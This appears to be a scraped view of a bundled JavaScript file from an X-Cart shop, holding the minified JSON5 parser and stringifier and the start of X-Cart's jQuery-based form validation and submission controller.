4-\uDFCB]|\uD83A[\uDC00-\uDCC4\uDD00-\uDD43]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDED6\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF34\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]/,ID_Continue:/[\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0300-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u0483-\u0487\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u05D0-\u05EA\u05F0-\u05F2\u0610-\u061A\u0620-\u0669\u066E-\u06D3\u06D5-\u06DC\u06DF-\u06E8\u06EA-\u06FC\u06FF\u0710-\u074A\u074D-\u07B1\u07C0-\u07F5\u07FA\u0800-\u082D\u0840-\u085B\u0860-\u086A\u08A0-\u08B4\u08B6-\u08BD\u08D4-\u08E1\u08E3-\u0963\u0966-\u096F\u0971-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09F1\u09FC\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A75\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AEF\u0AF9-\u0AFF\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B56\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B6F\u0B71\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BEF\u0C00-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58-\u0C5A\u0C60-\u0C63\u0C66-\u0C6F\u0C80-\u0C83\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1\u0CF2\u0D00-\u0D03\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D44\u0D46-\u0D48\u0D4A-\u0D4E\u0D54-\u0D57\u0D5F-\u0D63\u0D66-\u0D6F\u0D7A-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E01-\u0E3A\u0E40-\u0E4E\u0E50-\u0E59\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB9\u0EBB-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E-\u0F47\u0F49-\u0F6C\u0F71-\u0F84\u0F86-\u0F97\u0F99-\u0FBC\u0FC6\u1000-\u1049\u1050-\u109D\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u135F\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17D3\u17D7\u17DC\u17DD\u17E0-\u17E9\u180B-\u180D\u1810-\u1819\u1820-\u1877\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19D9\u1A00-\u1A1B\u1A20-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA7\u1AB0-\u1ABD\u1B00-\u1B4B\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1BF3\u1C00-\u1C37\u1C40-\u1C49\u1C4D-\u1C7D\u1C80-\u1C88\u1CD0-\u1CD2\u1CD4-\u1CF9\u1D00-\u1DF9\u1DFB-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u203F\u2040\u2054\u2071\u207F\u2090-\u209C\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2DFF\u2E2F\u3005-\u3007\u3021-\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u3099\u309A\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312E\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FEA\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA62B\uA640-\uA66F\uA674-\uA67D\uA67F-\uA6F1\uA717-\uA71F\uA722-\uA788\uA78B-\uA7AE\uA7B0-\uA7B7\uA7F7-\uA827\uA840-\uA873\uA880-\uA8C5\uA8D0-\uA8D9\uA8E0-\uA8F7\uA8FB\uA8FD\uA900-\uA92D\uA930-\uA953\uA960-\uA97C\uA980-\uA9C0\uA9CF-\uA9D9\uA9E0-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA60-\uAA76\uAA7A-\uAAC2\uAADB-\uAADD\uAAE0-\uAAEF\uAAF2-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB65\uAB70-\uABEA\uABEC\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFB
3601D3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE00-\uFE0F\uFE20-\uFE2F\uFE33\uFE34\uFE4D-\uFE4F\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\uFF21-\uFF3A\uFF3F\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDDFD\uDE80-\uDE9C\uDEA0-\uDED0\uDEE0\uDF00-\uDF1F\uDF2D-\uDF4A\uDF50-\uDF7A\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCA0-\uDCA9\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00-\uDE03\uDE05\uDE06\uDE0C-\uDE13\uDE15-\uDE17\uDE19-\uDE33\uDE38-\uDE3A\uDE3F\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE6\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2]|\uD804[\uDC00-\uDC46\uDC66-\uDC6F\uDC7F-\uDCBA\uDCD0-\uDCE8\uDCF0-\uDCF9\uDD00-\uDD34\uDD36-\uDD3F\uDD50-\uDD73\uDD76\uDD80-\uDDC4\uDDCA-\uDDCC\uDDD0-\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE37\uDE3E\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEEA\uDEF0-\uDEF9\uDF00-\uDF03\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3C-\uDF44\uDF47\uDF48\uDF4B-\uDF4D\uDF50\uDF57\uDF5D-\uDF63\uDF66-\uDF6C\uDF70-\uDF74]|\uD805[\uDC00-\uDC4A\uDC50-\uDC59\uDC80-\uDCC5\uDCC7\uDCD0-\uDCD9\uDD80-\uDDB5\uDDB8-\uDDC0\uDDD8-\uDDDD\uDE00-\uDE40\uDE44\uDE50-\uDE59\uDE80-\uDEB7\uDEC0-\uDEC9\uDF00-\uDF19\uDF1D-\uDF2B\uDF30-\uDF39]|\uD806[\uDCA0-\uDCE9\uDCFF\uDE00-\uDE3E\uDE47\uDE50-\uDE83\uDE86-\uDE99\uDEC0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC36\uDC38-\uDC40\uDC50-\uDC59\uDC72-\uDC8F\uDC92-\uDCA7\uDCA9-\uDCB6\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD36\uDD3A\uDD3C\uDD3D\uDD3F-\uDD47\uDD50-\uDD59]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|[\uD80C\uD81C-\uD820\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE60-\uDE69\uDED0-\uDEED\uDEF0-\uDEF4\uDF00-\uDF36\uDF40-\uDF43\uDF50-\uDF59\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDF00-\uDF44\uDF50-\uDF7E\uDF8F-\uDF9F\uDFE0\uDFE1]|\uD821[\uDC00-\uDFEC]|\uD822[\uDC00-\uDEF2]|\uD82C[\uDC00-\uDD1E\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99\uDC9D\uDC9E]|\uD834[\uDD65-\uDD69\uDD6D-\uDD72\uDD7B-\uDD82\uDD85-\uDD8B\uDDAA-\uDDAD\uDE42-\uDE44]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB\uDFCE-\uDFFF]|\uD836[\uDE00-\uDE36\uDE3B-\uDE6C\uDE75\uDE84\uDE9B-\uDE9F\uDEA1-\uDEAF]|\uD838[\uDC00-\uDC06\uDC08-\uDC18\uDC1B-\uDC21\uDC23\uDC24\uDC26-\uDC2A]|\uD83A[\uDC00-\uDCC4\uDCD0-\uDCD6\uDD00-\uDD4A\uDD50-\uDD59]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDED6\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF34\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]|\uDB40[\uDD00-\uDDEF]/},D={isSpaceSeparator:D=>u.Space_Separator.test(D),isIdStartChar:D=>D>="a"&&D<="z"||D>="A"&&D<="Z"||"$"===D||"_"===D||u.ID_Start.test(D),isIdContinueChar:D=>D>="a"&&D<="z"||D>="A"&&D<="Z"||D>="0"&&D<="9"||"$"===D||"_"===D||"â"===D||"â"===D||u.ID_Continue.test(D),isDigit:u=>/[0-9]/.test(u),isHexDigit:u=>/[0-9A-Fa-f]/.test(u)};let F,e,C,A,E,t,r,n,i;let B,a,o,c,s;function f(){for(B="default",a="",o=!1,c=1;;){s=l();const u=h[B]();if(u)return u}}function l(){if(F[A])return String.fromCodePoint(F.codePointAt(A))}function d(){const u=l();return"\n"===u?(E++,t=0):u?t+=u.length:t++,u&&(A+=u.length),u}const h={default(){switch(s){case"\t":case"\v":case"\f":case" ":case" ":case"\ufeff":case"\n":case"\r":case"\u2028":case"\u2029":return void d();case"/":return d(),void(B="comment");case void 0:return d(),m("eof")}
vendor: 4,211 bytes, line 3601
3601if(!D.isSpaceSeparator(s))return h[e]();d()},comment(){switch(s){case"*":return d(),void(B="multiLineComment");case"/":return d(),void(B="singleLineComment")}throw b(d())},multiLineComment(){switch(s){case"*":return d(),void(B="multiLineCommentAsterisk");case void 0:throw b(d())}d()},multiLineCommentAsterisk(){switch(s){case"*":return void d();case"/":return d(),void(B="default");case void 0:throw b(d())}d(),B="multiLineComment"},singleLineComment(){switch(s){case"\n":case"\r":case"\u2028":case"\u2029":return d(),void(B="default");case void 0:return d(),m("eof")}d()},value(){switch(s){case"{":case"[":return m("punctuator",d());case"n":return d(),p("ull"),m("null",null);case"t":return d(),p("rue"),m("boolean",!0);case"f":return d(),p("alse"),m("boolean",!1);case"-":case"+":return"-"===d()&&(c=-1),void(B="sign");case".":return a=d(),void(B="decimalPointLeading");case"0":return a=d(),void(B="zero");case"1":case"2":case"3":case"4":case"5":case"6":case"7":case"8":case"9":return a=d(),void(B="decimalInteger");case"I":return d(),p("nfinity"),m("numeric",1/0);case"N":return d(),p("aN"),m("numeric",NaN);case'"':case"'":return o='"'===d(),a="",void(B="string")}throw b(d())},identifierNameStartEscape(){if("u"!==s)throw b(d());d();const u=v();switch(u){case"$":case"_":break;default:if(!D.isIdStartChar(u))throw S()}a+=u,B="identifierName"},identifierName(){switch(s){case"$":case"_":case"â":case"â":return void(a+=d());case"\\":return d(),void(B="identifierNameEscape")}if(!D.isIdContinueChar(s))return m("identifier",a);a+=d()},identifierNameEscape(){if("u"!==s)throw b(d());d();const u=v();switch(u){case"$":case"_":case"â":case"â":break;default:if(!D.isIdContinueChar(u))throw S()}a+=u,B="identifierName"},sign(){switch(s){case".":return a=d(),void(B="decimalPointLeading");case"0":return a=d(),void(B="zero");case"1":case"2":case"3":case"4":case"5":case"6":case"7":case"8":case"9":return a=d(),void(B="decimalInteger");case"I":return d(),p("nfinity"),m("numeric",c*(1/0));case"N":return d(),p("aN"),m("numeric",NaN)}throw b(d())},zero(){switch(s){case".":return a+=d(),void(B="decimalPoint");case"e":case"E":return a+=d(),void(B="decimalExponent");case"x":case"X":return a+=d(),void(B="hexadecimal")}return m("numeric",0*c)},decimalInteger(){switch(s){case".":return a+=d(),void(B="decimalPoint");case"e":case"E":return a+=d(),void(B="decimalExponent")}if(!D.isDigit(s))return m("numeric",c*Number(a));a+=d()},decimalPointLeading(){if(D.isDigit(s))return a+=d(),void(B="decimalFraction");throw b(d())},decimalPoint(){switch(s){case"e":case"E":return a+=d(),void(B="decimalExponent")}return D.isDigit(s)?(a+=d(),void(B="decimalFraction")):m("numeric",c*Number(a))},decimalFraction(){switch(s){case"e":case"E":return a+=d(),void(B="decimalExponent")}if(!D.isDigit(s))return m("numeric",c*Number(a));a+=d()},decimalExponent(){switch(s){case"+":case"-":return a+=d(),void(B="decimalExponentSign")}if(D.isDigit(s))return a+=d(),void(B="decimalExponentInteger");throw b(d())},decimalExponentSign(){if(D.isDigit(s))return a+=d(),void(B="decimalExponentInteger");throw b(d())},decimalExponentInteger(){if(!D.isDigit(s))return m("numeric",c*Number(a));a+=d()},hexadecimal(){if(D.isHexDigit(s))return a+=d(),void(B="hexadecimalInteger");throw b(d())},hexadecimalInteger(){if(!D.isHexDigit(s))return m("numeric",c*Number(a));a+=d()},string(){switch(s){case"\\":return d(),void(a+=function(){switch(l()){case"b":return d(),"\b";case"f":return d(),"\f";case"n":return d(),"\n";case"r":return d(),"\r";case"t":return d(),"\t";case"v":return d(),"\v";case"0":if(d(),D.isDigit(l()))throw b(d());return"\0";case"x":return d(),function(){let u="",F=l();if(!D.isHexDigit(F))throw b(d());if(u+=d(),F=l(),!D.isHexDigit(F))throw b(d());return u+=d(),String.fromCodePoint(parseInt(u,16))}();case"u":return d(),v();case"\n":case"\u2028":case"\u2029":return d(),"";case"\r":return d(),"\n"===l()&&d(),"";case"1":case"2":case"3":case"4":case"5":case"6":case"7":case"8":case"9":case void 0:throw b(d())}return d()}());case'"':return o?(d(),m("string",a)):void(a+=d());case"'":return o?void(a+=d()):(d(),m("string",a));case"\n":case"\r":throw b(d());case"\u2028":case"\u2029":!function(u){console.warn(`JSON5: '${x(u)}
3601' in strings is not valid ECMAScript; consider escaping`)}(s);break;case void 0:throw b(d())}a+=d()},start(){switch(s){case"{":case"[":return m("punctuator",d())}B="value"},beforePropertyName(){switch(s){case"$":case"_":return a=d(),void(B="identifierName");case"\\":return d(),void(B="identifierNameStartEscape");case"}":return m("punctuator",d());case'"':case"'":return o='"'===d(),void(B="string")}if(D.isIdStartChar(s))return a+=d(),void(B="identifierName");throw b(d())},afterPropertyName(){if(":"===s)return m("punctuator",d());throw b(d())},beforePropertyValue(){B="value"},afterPropertyValue(){switch(s){case",":case"}":return m("punctuator",d())}throw b(d())},beforeArrayValue(){if("]"===s)return m("punctuator",d());B="value"},afterArrayValue(){switch(s){case",":case"]":return m("punctuator",d())}throw b(d())},end(){throw b(d())}};function m(u,D){return{type:u,value:D,line:E,column:t}}function p(u){for(const D of u){if(l()!==D)throw b(d());d()}}function v(){let u="",F=4;for(;F-- >0;){const F=l();if(!D.isHexDigit(F))throw b(d());u+=d()}return String.fromCodePoint(parseInt(u,16))}const g={start(){if("eof"===r.type)throw N();y()},beforePropertyName(){switch(r.type){case"identifier":case"string":return n=r.value,void(e="afterPropertyName");case"punctuator":return void w();case"eof":throw N()}},afterPropertyName(){if("eof"===r.type)throw N();e="beforePropertyValue"},beforePropertyValue(){if("eof"===r.type)throw N();y()},beforeArrayValue(){if("eof"===r.type)throw N();"punctuator"!==r.type||"]"!==r.value?y():w()},afterPropertyValue(){if("eof"===r.type)throw N();switch(r.value){case",":return void(e="beforePropertyName");case"}":w()}},afterArrayValue(){if("eof"===r.type)throw N();switch(r.value){case",":return void(e="beforeArrayValue");case"]":w()}},end(){}};function y(){let u;switch(r.type){case"punctuator":switch(r.value){case"{":u={};break;case"[":u=[]}break;case"null":case"boolean":case"numeric":case"string":u=r.value}if(void 0===i)i=u;else{const D=C[C.length-1];Array.isArray(D)?D.push(u):D[n]=u}if(null!==u&&"object"==typeof u)C.push(u),e=Array.isArray(u)?"beforeArrayValue":"beforePropertyName";else{const u=C[C.length-1];e=null==u?"end":Array.isArray(u)?"afterArrayValue":"afterPropertyValue"}}function w(){C.pop();const u=C[C.length-1];e=null==u?"end":Array.isArray(u)?"afterArrayValue":"afterPropertyValue"}function b(u){return P(void 0===u?`JSON5: invalid end of input at ${E}:${t}`:`JSON5: invalid character '${x(u)}' at ${E}:${t}`)}function N(){return P(`JSON5: invalid end of input at ${E}:${t}`)}function S(){return P(`JSON5: invalid identifier character at ${E}:${t-=5}`)}function x(u){const D={"'":"\\'",'"':'\\"',"\\":"\\\\","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\v":"\\v","\0":"\\0","\u2028":"\\u2028","\u2029":"\\u2029"};if(D[u])return D[u];if(u<" "){const D=u.charCodeAt(0).toString(16);return"\\x"+("00"+D).substring(D.length)}return u}function P(u){const D=new SyntaxError(u);return D.lineNumber=E,D.columnNumber=t,D}return{parse:function(u,D){F=String(u),e="start",C=[],A=0,E=1,t=0,r=void 0,n=void 0,i=void 0;do{r=f(),g[e]()}while("eof"!==r.type);return"function"==typeof D?function u(D,F,e){const C=D[F];if(null!=C&&"object"==typeof C)for(const D in C){const F=u(C,D,e);void 0===F?delete C[D]:C[D]=F}return e.call(D,F,C)}({"":i},"",D):i},stringify:function(u,F,e){const C=[];let A,E,t,r="",n="";if(null==F||"object"!=typeof F||Array.isArray(F)||(e=F.space,t=F.quote,F=F.replacer),"function"==typeof F)E=F;else if(Array.isArray(F)){A=[];for(const u of F){let D;"string"==typeof u?D=u:("number"==typeof u||u instanceof String||u instanceof Number)&&(D=String(u)),void 0!==D&&A.indexOf(D)<0&&A.push(D)}}return e instanceof Number?e=Number(e):e instanceof String&&(e=String(e)),"number"==typeof e?e>0&&(e=Math.min(10,Math.floor(e)),n=" ".substr(0,e)):"string"==typeof e&&(n=e.substr(0,10)),i("",{"":u});function i(u,D){let F=D[u];switch(null!=F&&("function"==typeof F.toJSON5?F=F.toJSON5(u):"function"==typeof F.toJSON&&(F=F.toJSON(u))),E&&(F=E.call(D,u,F)),F instanceof Number?F=Number(F):F instanceof String?F=String(F):F instanceof Boolean&&(F=F.valueOf()),F){case null:return"null";case!0:return"true";case!1:return"false"}return"string"==typeof F?B(F):"number"==typeof F?String(F):"object"==typeof F?Array.isArray(F)?function(u){if(C.indexOf(u)>=0)throw TypeError("Converting circular structure to JSON5");C.push(u);let D=r;r+=n;let F,e=[];for(let D=0;D<u.length;D++){const F=i(String(D),u);e.push(void 0!==F?F:"null")}if(0===e.length)F="[]";else if(""===n){let u=e.join(",");F="["+u+"]"}else{let u=",\n"+r,C=e.join(u);F="[\n"+r+C+",\n"+D+"]"}return C.pop(),r=D,F}(F):function(u){if(C.indexOf(u)>=0)throw TypeError("Converting circular structure to JSON5");C.push(u);let D=r;r+=n;let F,e=A||Object.keys(u),E=[];for(const D of e){const F=i(D,u);if(void 0!==F){let u=a(D)+":";""!==n&&(u+=" "),u+=F,E.push(u)}}if(0===E.length)F="{}";else{let u;if(""===n)u=E.join(","),F="{"+u+"}";else{let e=",\n"+r;u=E.join(e),F="{\n"+r+u+",\n"+D+"}"}}return C.pop(),r=D,F}(F):void 0}function B(u){const D={"'":.1,'"':.2},F={"'":"\\'",'"':'\\"',"\\":"\\\\","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\v":"\\v","\0":"\\0","\u2028":"\\u2028","\u2029":"\\u2029"};let e="";for(const C of u){switch(C){case"'":case'"':D[C]++,e+=C;continue}if(F[C])e+=F[C];else if(C<" "){let u=C.charCodeAt(0).toString(16);
3601e+="\\x"+("00"+u).substring(u.length)}else e+=C}const C=t||Object.keys(D).reduce((u,F)=>D[u]<D[F]?u:F);return C+(e=e.replace(new RegExp(C,"g"),F[C]))+C}function a(u){if(0===u.length)return B(u);const F=String.fromCodePoint(u.codePointAt(0));if(!D.isIdStartChar(F))return B(u);for(let e=F.length;e<u.length;e++)if(!D.isIdContinueChar(String.fromCodePoint(u.codePointAt(e))))return B(u);return u}}}});; 3602/* AUTOGENERATED: xcart.form.js */ 3603/* vim: set ts=2 sw=2 sts=2 et: */ 3604 3605/** 3606 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 3607 * See https://www.x-cart.com/license-agreement.html for license details. 3608 */ 3609 3610/** 3611 * Form 3612 */ 3613 3614// Constructor 3615function CommonForm(form) 3616{ 3617 if (!form) { 3618 return false; 3619 } 3620 3621 form = jQuery(form).filter('form').eq(0); 3622 if (!form.length || form.get(0).commonController) { 3623 return false; 3624 } 3625 3626 this.form = form.get(0); 3627 this.$form = form; 3628 3629 var o = this; 3630 3631 this.form.commonController = this; 3632 3633 if (!this.form.getAttribute('id')) { 3634 var d = new Date(); 3635 this.form.setAttribute('id', 'form-' + d.getTime()); 3636 } 3637 3638 var methods = [ 3639 'validate', 'submitBackground', 'isChanged', 'getElements' 3640 ]; 3641 3642 for (var i = 0; i < methods.length; i++) { 3643 var method = methods[i]; 3644 this.form[method] = new Function('', 'return this.commonController.' + method + '.apply(this.commonController, arguments);'); 3645 } 3646 3647 this.form.isBgSubmitting = false; 3648 3649 // Central validation before form submit and background submit 3650 form.submit( 3651 function(event) 3652 { 3653 jQuery('input', this).trigger('sanitize'); 3654 3655 if (this.isBgSubmitting) { 3656 return false; 3657 } 3658 3659 o.triggerVent('submit.prevalidate', o); 3660 3661 var result = this.validate(); 3662 3663 if (result && o.submitOnlyChanged && !o.isChanged(true)) { 3664 result = false;
3665 } 3666 3667 // Trigger the validationSuccess or validationFailure events accordingly the validation result 3668 var validationEvent = jQuery.Event(result ? 'validationSuccess' : 'validationFailure'); 3669 o.$form.trigger(validationEvent); 3670 3671 if (result && o.backgroundSubmit) { 3672 var e = jQuery.Event('beforeSubmit'); 3673 o.$form.trigger(e); 3674 3675 o.triggerVent('submit.postvalidate', o); 3676 3677 if (e.result !== false) { 3678 o.unmarkAsInvalid(); 3679 if (o.submitBackground(null, true)) { 3680 result = false; 3681 } 3682 } 3683 3684 } else if (result) { 3685 o.unmarkAsInvalid(); 3686 } 3687 3688 return result; 3689 } 3690 ); 3691 3692 this.bindElements(); 3693 3694 // Process invalidElement event 3695 xcart.bind( 3696 'invalidElement', 3697 function(event, data) { 3698 if (o.form.isBgSubmitting && o.form.elements.namedItem(data.name)) { 3699 o.form.elements.namedItem(data.name).markAsInvalid(data.message, null, true); 3700 } 3701 } 3702 ); 3703 3704 // Process invalidForm event 3705 xcart.bind( 3706 'invalidForm', 3707 function(event, data) { 3708 if (data.name && o.$form.is('.' + data.name)) { 3709 o.markAsInvalid(data.message); 3710 